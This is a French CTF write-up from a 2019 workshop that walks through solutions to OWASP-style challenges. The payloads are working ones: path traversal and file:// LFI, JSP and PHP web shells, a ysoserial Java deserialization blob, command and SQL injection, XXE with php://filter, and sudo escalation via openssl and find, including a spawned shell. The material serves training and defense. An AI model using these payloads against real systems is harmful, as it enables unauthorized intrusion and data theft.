Skip to content

Atelier - Journée Cybersécurité 0x02

Ce document contient les explications de résolution des défis proposés dans le Mini-CTF OWASP présenté au Hackfest 2018 à Québec qui a été utilisé durant l'atelier de la Journée Cybersécurité 0x02 présentée par ShawiSec le 1er février 2019.

Défis

HTML 1

Ce premier défi démontre qu'il ne faut négliger aucune piste lors de la recherche de vulnérabilités. Parfois, même une faille qui semble trop simple pour être vraie peut révéler de précieuses informations.

Le défi est composé d'une seule page web. Un réflexe à développer lorsqu'on rencontre une page web est d'inspecter le code source. Celui-ci peut révéler des détails sur les librairies et ressources utilisées ou la logique applicative.

En utilisant un navigateur web, on peut habituellement utiliser le clic-droit pour accéder aux options Voir le code source ou Inspecter. On peut ainsi naviguer dans le code et les ressources(fichiers de code JavaScript, images, etc.) de la page.

<html lang="en">
  <head>
    <meta charset="utf-8">
    <link href="css/bootstrap.min.css" rel="stylesheet">
  </head>

  <body>
    <div class="container">
    <h3>Find me in the source !</h3><!-- FLAG-sGcNyzow3u32NMszBi8K5rRUn -->
    </div>
  </body>
</html>

Sans artifices, on retrouve un commentaire HTML dans le code source qui nous révèle notre premier flag! :)

Ressources

Local File Inclusion 1

On se retrouve face à une page web qui offre une simple liste déroulante et un bouton. Un bon réflexe à développer est d'interagir avec notre cible pour comprendre le traitement effectué, et ensuite trouver une façon de l'exploiter à notre avantage.

En sélectionnant un item de la liste et en appuyant sur le bouton, on se rend compte qu'on charge une URL pour laquelle est spécifié le paramètre path. Ce paramètre contient un nom de fichier correspondant à l'item sélectionné dans la liste qui sera ensuite intégré dans la page, par exemple path=zebra.txt.

Étant donné qu'on cherche à atteindre le fichier index.php, on peut essayer de modifier le paramètre avec la valeur path=index.php. Malheureusement, on n’obtient pas l'information voulue, par contre le message d'erreur qui s'affiche nous donne un indice sur la structure des dossiers du serveur web.

Warning: file_get_contents(uploads/index.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 4

On peut en conclure que le script tente de charger le fichier dans le sous-dossier uploads. On suppose donc qu'on doit naviguer vers le dossier supérieur avec .. pour atteindre la racine du serveur web en modifiant le paramètre pour path=../index.php.

On constate alors que dans la zone qui affichait précédemment le contenu des fichiers texte se retrouve le code du fichier index.php.

On peut ainsi récupérer le flag en inspectant le code source de la page!

<html lang="en">
  <head>
    <meta charset="utf-8">
    <link href="css/bootstrap.min.css" rel="stylesheet">
  </head>

  <body>
    <div class="container">
      <h3>ASCII Art Viewer</h3>
      <form method="GET">
        <div class="form-group">
          <label for="path">ASCII Art</label>
          <select name="path" class="form-control" id="path">
            <option value="cats.txt">Cat</option>
            <option value="dog.txt">Dog</option>
            <option value="zebra.txt">Zebra</option>
          </select>
        </div>

        <button type="submit" class="btn btn-primary">View</button>
      </form>

            <br />
      <pre><?php
  // FLAG-FWFf3bR6GE5B1J5ZQIB3hA
  if (isset($_GET['path'])) {
    $content = file_get_contents('uploads/' . $_GET['path']);
  }
?>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <link href="css/bootstrap.min.css" rel="stylesheet">
  </head>

  <body>
    <div class="container">
      <h3>ASCII Art Viewer</h3>

Ressources

Local File Inclusion 2

Ce défi nous offre une variante de Local File Inclusion 1. Au premier coup d'oeil on ne constate pas de différence au niveau du comportement, toutefois, on remarque rapidement une distinction dans la structure du paramètre utilisé dans l'URL:

path=file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fcats

On retrouve plusieurs caractères qui rendent le paramètre cryptique, par contre, c'est seulement, car il est encodé pour l'utilisation dans une URL. On peut le décoder pour récupérer une représentation plus facile à lire:

path=file:///var/www/html/uploads/cats

Ensuite, on remarque l'utilisation du protocole file qui permets d'identifier le chemin d'accès à un fichier. On peut ainsi décomposer le paramètre path en 2 parties:

  • file://, définit le protocole
  • /var/www/html/uploads/cats, défini le chemin d'accès absolu

En supposant que le serveur web utilise une configuration standard, on sait qu'on devrait retrouver le fichier recherché, index.php à l'emplacement /var/www/html/index.php(accédé de façon absolue). On peut donc construire un paramètre qui utilise cette valeur:

path=file:///var/www/html/index.php

Cela ne nous donne toutefois pas le résultat attendu. En inspectant le paramètre de plus près et en supposant que la logique du traitement est cohérente avec le défi précédent, on remarque que le chemin n'indique plus d'extension de fichier. Par exemple, on utilise path=file:///var/www/html/uploads/cats sans spécifier cats.txt. On peut déduire que l'extension de fichier est ajoutée par le script du côté serveur.

Étant donné que le protocole file respecte la structure des URLs, on peut ajouter un ? à la fin pour simuler l'ajout d'un paramètre, qui sera ignoré lors de la récupération du fichier et permettra de retirer le .txt. Ainsi, la syntaxe finale serait:

path=file:///var/www/html/index.php?

Encore une fois, l'inspection du code source nous permet de récupérer le flag, en plus de confirmer notre hypothèse sur le traitement effectué:

if (isset($_GET['path'])) {
  $ch = curl_init(); 
  curl_setopt($ch, CURLOPT_URL, $_GET['path'] . '.txt');
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
  $content = curl_exec($ch); 
}

L'URL qui sera utilisée par l'utilitaire curl pour récupérer le fichier aura donc la structure suivante(où le .txt sera tout simplement ignoré):

file:///var/www/html/index.php?.txt

En comparaison à l'URL générée par un paramètre valide de la liste déroulante qui aurait le format suivant après avoir été traitée par la logique du serveur:

file:///var/www/html/uploads/cats.txt

Ressources

Direct Object Reference 1

Lorsqu'on appuie sur le bouton View en changeant l'item sélectionné dans la liste déroulante, on remarque qu'une URL contenant le paramètre id est chargée, par exemple:

http://0x02.shawisec.ca:5002/?id=2

Seulement 2 choix sont disponibles dans la liste déroulante qui font varier le paramètre id aux valeurs 2 ou 3. On peut donc modifier la valeur du paramètre dans l'URL et voir le résultat. En utilisant une valeur supérieure à 3, on ne récupère aucune donnée.

Par contre, en utilisant la valeur 1(id=1), qui correspondant à la valeur de départ par défaut d'une séquence auto-incrémentielle, on accède au profil administrateur qui dévoile un flag!

Ressources

Java File Upload 1

Un élément auquel il faut porter une attention particulière est lorsqu'une page web offre la possibilité de téléverser des fichiers. Où sont stockés ces fichiers? Peuvent-ils être exécutés ou interprétés? Dans le cadre de ce défi, on nous indique que le serveur exploite le mécanisme Java Server Page(JSP).

En utilisant le formulaire de la page web, on peut téléverser un fichier, qui nous est ensuite affiché. Si on utilise un fichier .jsp de base comme celui ci-dessous, lorsque le fichier sera chargé, on constate que le code Java est exécuté. Ce sera notre porte d'entrée pour exécuter du code directement sur le serveur.

<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>JSP - Hello World Tutorial - Programmer Gate</title>
</head>
<body>
<%= "Hello World!" %>
</body>
</html>

On veut donc modifier le code JSP de base pour exécuter une commande système Linux et manipuler notre cible.

<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>JSP - Hello World Tutorial - Programmer Gate</title>
</head>
<body>
<%@ page import="java.util.*,java.text.*,java.io.*,java.net.*" %>
<%
    Process proc = Runtime.getRuntime().exec("ls");
    java.io.InputStream is = proc.getInputStream();
    java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");

    String val = "Nothing to show...";
    if (s.hasNext()) {
        val = s.next();
    }

    out.print(val);
%>

</body>
</html>

En exécutant ce fichier, la page JSP nous affiche la liste des fichiers et dossier du serveur via la commande ls. On peut donc modifier de façon successive la commande exécutée pour éventuellement trouver le fichier recherché, index.jsp.

Inspection du dossier webapps

ls webapps

Inspection du dossier java-2, où on repère le fichier index.jsp.

ls webapps/java-2

On peut donc conclure en récupérant le contenu du fichier inde.jsp et lire le flag avec la commande:

cat webapps/java-2/index.jsp

Ressources

Java Deserialization 1

Par le titre du défi, on comprend qu'on doit exploiter une vulnérabilité de désérialisation. La page permet de soumettre une chaîne de caractères encodée en Base64 qui sera ensuite décodée et convertie en objet Java.

Notre but sera donc de construire un objet Java qu'on encodera en Base64 après l'avoir sérialisé pour l'injecter à la page. La façon simple d'arriver à construire cet item est d'utiliser un outil comme ysoserial qui regroupe la syntaxe à utiliser pour exploiter différentes versions de plusieurs frameworks Java:

Available payload types:
Payload             Authors                     Dependencies
-------             -------                     ------------
BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure             @JackOfMostTrades           clojure:1.8.0
CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff                    commons-collections:3.1
CommonsCollections2 @frohoff                    commons-collections4:4.0
CommonsCollections3 @frohoff                    commons-collections:3.1
CommonsCollections4 @frohoff                    commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser            commons-collections:3.1
FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
Groovy1             @frohoff                    groovy:2.3.9
Hibernate1          @mbechler
...                 ...                         ...

Étant donné qu'on ne possède pas d'informations particulières sur les outils de développement utilisés par la page web, on peut utiliser la méthode essai-erreur pour générer des données et les essayer. ysoserial est un outil écrit en Java et doit être exécuté avec la syntaxe suivante, où PAYLOAD représente un des noms de la liste de ysoserial et CMD est une commande du terminal à exécuter:

java -jar ysoserial.jar PAYLOAD "CMD"

Après quelques essais, l'item CommonsCollections6 nous donne un résultat concluant:

java -jar ysoserial.jar CommonsCollections6 "ls" | openssl base64 -A

On remarque l'utilisation de l'opérateur de redirection(|) pour transférer le résultat de ysoserial au programme openssl qui permet d'encoder directement la sortie en Base64(l'option -A est nécessaire pour obtenir le résultat sur une seule ligne).

On remarque l'affichage de [foo=1] en haut de la page après avoir soumis nos données, c'est donc que notre objet a été correctement désérialisé et interprété. Toutefois, on ne retrouve pas le résultat de la commande ls. La façon dont l'objet est manipulé par la page ne permet pas de récupérer directement le résultat de notre injection sur la page.

Finalement, on peut utiliser notre connaissance de la structure d'une application Java comme celle du défi Java File Upload pour copier le contenu du fichier webapps/java-1/index.jsp vers webapps/java-1/index.txt qui se retrouvera à la racine web et sera accessible via l'URL http://ip:5006/java-1/index.txt:

java -jar ysoserial.jar CommonsCollections6 "cp webapps/java-1/index.jsp webapps/java-1/index.txt" | openssl base64 -A

La commande précédente génère les données suivantes qu'on peut soumettre:

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ADRjcCB3ZWJhcHBzL2phdmEtMS9pbmRleC5qc3Agd2ViYXBwcy9qYXZhLTEvaW5kZXgudHh0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=

Ressources

PHP File Upload 1

Dans la même idée que le défi Java File Upload, celui-ci nous permet de téléverser un fichier qui peut ensuite être chargé. On déduit donc que si on utilise un fichier contenant du code PHP, on pourra le faire exécuter par le serveur. On peut tester cette hypothèse avec le code PHP suivant:

<?php
    echo("shawisec");
?>

On constate alors qu'en chargeant l'URL que nous affiche la page le texte shawisec s'affiche, donc le fichier a correctement été exécuté. On peut alors utiliser un code PHP pour exécuter une commande système et récupérer le contenu du fichier index.php:

<?php
  echo(shell_exec('cat /var/www/html/index.php'));
?>

Il ne nous reste qu'à inspecter le code source de la page pour récupérer le flag!

Ressources

Command injection 1

Le défi présente une page sur laquelle on peut saisir du texte qui sera ensuite utilisé dans une commande de recherche dans les fichiers, grep. La page nous affiche la commande résultante, par exemple en saisissant test on obtient:

grep -i "test" items.txt

Notre objectif est donc d'utiliser un texte qui permettra d'injecter une commande arbitraire dans la commande existante. On peut supposer que la page web utilise la logique grep -i " + TEXTE + " items.txt pour construire la commande. On peut donc construire un texte qui annulera l'effet de la commande et le remplacera par une commande de notre choix, par exemple(où " ferme le premier guillemet, echo "shawisec" affiche le texte shawisec et # mets en commentaire le reste de la commande pour l'ignorer):

"; echo "shawisec" #

Ce qui produira la commande grep -i ""; echo "shawisec" #" items.txt ayant pour effet d'afficher le texte shawisec.

Puisqu'en soumettant cette valeur, la page nous affiche bel et bien shawisec on peut donc remplacer la commande echo par la commande cat pour récupérer le contenu du fichier index.php:

"; cat index.php #

On remarque alors que le contenu du fichier index.php est chargé dans la zone d'affichage et l'inspection du code source nous offre un flag.

Ressources

SQL Injection 1

Comme son nom l'indique, ce défi en est un d'injection SQL. Dans la même idée que Command injection 1, on peut saisir du texte qui sera ensuite utilisé pour construire une requête SQL. Par exemple, en saisissant test, la requête générée sera:

SELECT * FROM items WHERE name LIKE "%test%"

On peut également observer que soumettre le formulaire sans écrire de texte retourne les données suivantes: | Name | Description | |---|---| | Banana | Yellow Thing | | Orange | Orange Thing | | Tomato | Red Thing |

On veut donc arriver à injecter une commande SQL pour modifier le comportement de la requête. On peut tester si la page web est vulnérable à l'injection SQL en utilisant un texte comme celui-ci:

" UNION SELECT "a", "b"; --

Ce qui génère la requête SQL

SELECT * FROM items WHERE name LIKE "%" UNION SELECT "a", "b" --%"

et affiche les données suivantes: | Name | Description | |---|---| | Banana | Yellow Thing | | Orange | Orange Thing | | Tomato | Red Thing | | a | b |

Tout d'abord, la première partie de la requête, SELECT * FROM items WHERE name LIKE "%"(où le " de notre texte permet de fermer les guillemets), retourne l'ensemble de données:

Banana Yellow Thing
Orange Orange Thing
Tomato Red Thing

Ensuite, la section UNION SELECT "a", "b", effectue l'opération booléenne union entre les données résultant de la première partie de la requête et les données suivantes générées par l'opération de sélection SELECT "a", "b":

a b

On utilise la syntaxe SELECT "a", "b" pour générer 2 valeurs fictives qui correspondront aux items Name et Description de l'ensemble de données d'origine. On doit avoir le même nombre d'items dans les 2 requêtes pour que l'opération d'union fonctionne.

Ainsi s'explique le résultat final obtenu: | Name | Description | |---|---| | Banana | Yellow Thing | | Orange | Orange Thing | | Tomato | Red Thing | | a | b |

Maintenant qu'on sait que le page web est vulnérable à l'injection SQL, on peut construire un paramètre qui permettra de récupérer la structure de la base de données. Par essai-erreur, on fini par trouver que la base de données utilise SQLite, ce qui veut dire qu'on peut utiliser la requête suivante pour obtenir la liste des tables et leur description en SQL(qui indique la définition des colonnes):

" UNION SELECT name, sql FROM sqlite_master WHERE type='table'; --

Les données obtenues sont les suivantes, où on constate que la base de données contient 2 tables, flag et items. La table qui nous intéresse est flag, qui est constituée d'une seule colonne nommée également flag.

Name Description
Banana Yellow Thing
Orange Orange Thing
Tomato Red Thing
flag CREATE TABLE flag (flag TEXT)
items CREATE TABLE items (name TEXT, description TEXT)

On peut finalement construire une requête qui nous permettra de lire les données de la table flag(notez qu'on doit ajouter "b" pour que l'union fonctionne):

" UNION SELECT flag, "b" FROM flag; --

Notre flag est alors affiché dans le tableau de résultat!

Ressources

XXE 1

Ce défi présente une page web qui accepte du texte pour soumettre une recherche. Le titre du défi indique que c'est une faille de type XXE, XML External Entity. Le mécanisme d'entités externes permet de définir une référence vers une ressource(comme un fichier) qui sera interprétée lors de la lecture des données XML. Par exemple, il est possible d'utiliser le mécanisme d'URI et le protocole file pour charger le contenu d'un fichier dans une balise XML:

<?xml version="1.0"?>
<!DOCTYPE demo [  
  <!ELEMENT demo ANY >
  <!ENTITY xxe SYSTEM "file:///home/admin/clients.csv" >]>

<item>&xxe;</item>

Une fois que les données XML seront interprétées, le contenu du fichier /home/admin/clients.csv sera imbriqué dans la balise item:

<item>
Quentin,Daughtrey,qdaughtrey0@cam.ac.uk
Stanly,Gobolos,sgobolos1@dmoz.org
Katie,Philipps,kphilipps2@tumblr.com
Kora,Izkovicz,kizkovicz3@fema.gov
Taddeo,Chinnock,tchinnock4@boston.com
Mata,Bwy,mbwy5@free.fr
Biron,Mathieson,bmathieson6@qq.com
Brocky,Bealton,bbealton7@seattletimes.com
Florina,Ismirnioglou,fismirnioglou8@foxnews.com
...
</item>

En ce qui concerne notre défi, on peut inspecter le code source de la page pour prendre connaissance de la fonction Javascript search() qui effectue une requête HTTP en envoyant les données au format XML:

function search() {
  var username = document.getElementById("username").value;
  var message = document.getElementById("message");
  var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = function () {
    if (xhr.readyState == 4) {
      message.style.display = "block";
      message.innerHTML = xhr.responseText;
    }
  };
  xhr.open("POST", "?search=", true);
  xhr.setRequestHeader("Content-Type", "text/xml");
  xhr.send("<\?xml version='1.0' \?><lookup><user>" + username + "</user></lookup>");
  return false;
}

On constate la structure des données attendues par le code serveur via l'appel de la fonction send, où USERNAME sera remplacé par le texte saisi:

<?xml version='1.0'?>
<lookup>
  <user>USERNAME</user>
</lookup>

Lorsqu'on soumet une recherche, on remarque que le texte saisi se retrouve dans le message sur la page web:

Username test doesn't exists.

On peut envoyer manuellement la requête via la console de Chrome en récupérant dans le code source l'extrait suivant:

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
  if (xhr.readyState == 4) {
    message.style.display = "block";
    message.innerHTML = xhr.responseText;
  }
};
xhr.open("POST", "?search=", true);
xhr.setRequestHeader("Content-Type", "text/xml");
xhr.send("<\?xml version='1.0' \?><lookup><user>SHAWISEC</user></lookup>");

On a remplacé l'utilisation du paramètre username par la valeur SHAWISEC et effectivement le message affiche le texte:

Username SHAWISEC doesn't exists.

Notre objectif sera donc d'injecter l'entité correspondant au fichier /var/www/html/index.php(racine par défaut d'un serveur web) auquel on souhaite accéder pour qu'il soit affiché dans le message de retour de la page web:

<?xml version='1.0'?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///var/www/html/index.php" >]>
<lookup>
  <user>&xxe;</user>
</lookup>

Pour faciliter l'insertion de ces données XML dans le code Javascript qui effectuera la requête, nous allons les formater sur une seule ligne, en s'assurant d'utiliser seulement des guillemets doubles " pour faciliter la mise en place d'une string Javascript valide en l'englobant de guillemets simples ' :

'<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///var/www/html/index.php" >]><lookup><user>&xxe;</user></lookup>'

Ce qui nous donne le code Javascript :

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
  if (xhr.readyState == 4) {
    message.style.display = "block";
    message.innerHTML = xhr.responseText;
  }
};
xhr.open("POST", "?search=", true);
xhr.setRequestHeader("Content-Type", "text/xml");
xhr.send('<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///var/www/html/index.php" >]><lookup><user>&xxe;</user></lookup>');

Malheureusement on ne récupère pas le fichier index.php, mais une série d'erreurs:

Warning: simplexml_load_string(): file:///var/www/html/index.php:32: parser error : StartTag: invalid element name in /var/www/html/index.php on line 6

Warning: simplexml_load_string(): xhr.send("<\?xml version='1.0' \?><lookup><user>" + username + "</user>< in /var/www/html/index.php on line 6

Warning: simplexml_load_string(): ^ in /var/www/html/index.php on line 6

Warning: simplexml_load_string(): file:///var/www/html/index.php:36: parser error : Opening and ending tag mismatch: meta line 17 and head in /var/www/html/index.php on line 6

On comprendra éventuellement que ces erreurs se produisent, car une fois que le fichier index.php aura été inclus dans les données XML, le format des données devient invalide. Cela se produit, car le fichier PHP contient des balises, dont le format ne peut être interprété correctement en tant que données XML. On doit donc utiliser une tactique pour contourner cette problématique qui nous permet d'encoder en Base64 le contenu du fichier avant de l'inclure dans les données XML, ce qui ne brisera pas le format des données et leur interprétation:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php">]>
<lookup>
  <user>&xxe;</user>
</lookup>

Une fois le formatage et la construction de notre code Javascript complétée on peut exécuter la requête:

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
  if (xhr.readyState == 4) {
    message.style.display = "block";
    message.innerHTML = xhr.responseText;
  }
};
xhr.open("POST", "?search=", true);
xhr.setRequestHeader("Content-Type", "text/xml");
xhr.send('<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php">]><lookup><user>&xxe;</user></lookup>');

Il ne nous reste plus qu'à décoder le message en Base64 qui est affiché pour récupérer le flag!

Ressources

Privilege Escalation 1

Pour ce défi, nous exploiterons des privilèges restreints pour accéder à des ressources qui devraient nous être inaccessibles. On doit utiliser un outil de communication réseau comme netcat pour communiquer avec le serveur qui héberge le défi en utilisant la commande mentionnée dans la description:

nc 0x02.shawisec.ca 5010

La description mentionne également qu'on doit lire le fichier /home/admin/flag.txt. Une fois connecté au serveur nous pouvons executer des commandes, donc essayons de lire ce fichier:

cat /home/admin/flag.txt

Malheureusement on constate que nous n'avons pas les accès nécessaires. On peut aller vérifier les permissions du fichier avec la commande suivante:

ls -al /home/admin/

Ce qui nous indique que le fichier flag.txt est géré par root et peut être lu par les membres du groupe admin.

-rw-r----- 1 root admin   30 Jan 10 21:22 flag.txt

On peut alors vérifier si nous appartenons au groupe admin avec la commande suivante:

groups

Malheureusement, nous n'appartenons qu'au groupe challenge. On peut toutefois vérifier la liste des accès super utilisateur qu'on possède:

sudo -l

On remarque qu'il est possible pour l'utilisateur challenge d'utiliser l'outil openssl avec les accès admin via l'utilisation de la commande sudo.

User challenge may run the following commands on 32ff81cf1359:
    (admin) NOPASSWD: /usr/bin/openssl

On pourrait alors exploiter openssl pour ouvrir le fichier flag.txt et en afficher la représentation Base64 pour contourner les permissions qui nous empêchent d'y accéder:

sudo -u admin openssl enc -base64 -in /home/admin/flag.txt | openssl enc -base64 -d

On peut décomposer cette commande en 3 sections: - sudo -u admin, permet de personnifier l'utilisateur admin pour l'exécution de commandes - openssl enc -base64 -in /home/admin/flag.txt, lit le fichier /home/admin/flag.txt et en affiche la représentation Base64 - | openssl enc -base64 -d, récupère la représentation Base64 pour la convertir en texte clair et nous donner le flag!

Ressources

Privilege Escalation 2

Dans le même idée que Privilege Escalation 1, on doit d'abord vérifier quels sont nos accès privilégiés:

sudo -l

On constate qu'on peut exécuter la commande find avec les accès super-utilisateur:

User challenge may run the following commands on 687dc0b86180:
    (admin) NOPASSWD: /usr/bin/find

La commande find permet de trouver les fichiers et dossiers correspondants à certains critères de recherche. En utilisant l'option -exec, on peut exécuter une commande pour chaque item trouvé. On peut donc utiliser la commande suivante pour récupérer le contenu du fichier /home/admin/flag.txt en contournant les permissions:

sudo -u admin find /home/admin -name 'flag.txt' -exec cat {} \;

find /home/admin -name 'flag.txt' cherche les items appelés flag.txt dans le dossier /home/admin et -exec cat {} \; exécute la commande cat en remplaçant {} par le nom de chaque item trouvé, ce qui permet de lire le contenu de /home/admin/flag.txt et de voir le flag!

Accessoirement, on pourrait même exploiter l'option -exec pour démarrer un terminal interactif où on pourrait accéder au système complet en tant qu'admin:

sudo -u admin /usr/bin/find /home -exec sh -i \;

Ressources

Aller plus loin

Maintenant que vous avez vu comment exploiter certaines failles, il est essentiel de bien comprendre pourquoi elles sont vulnérables et comment s'en protéger. Le code source de ces défis est disponible sur GitHub, donc l'explorer et voir comment corriger ces vulnérabilités constitue une bonne méthode de bien intégrer ces concepts!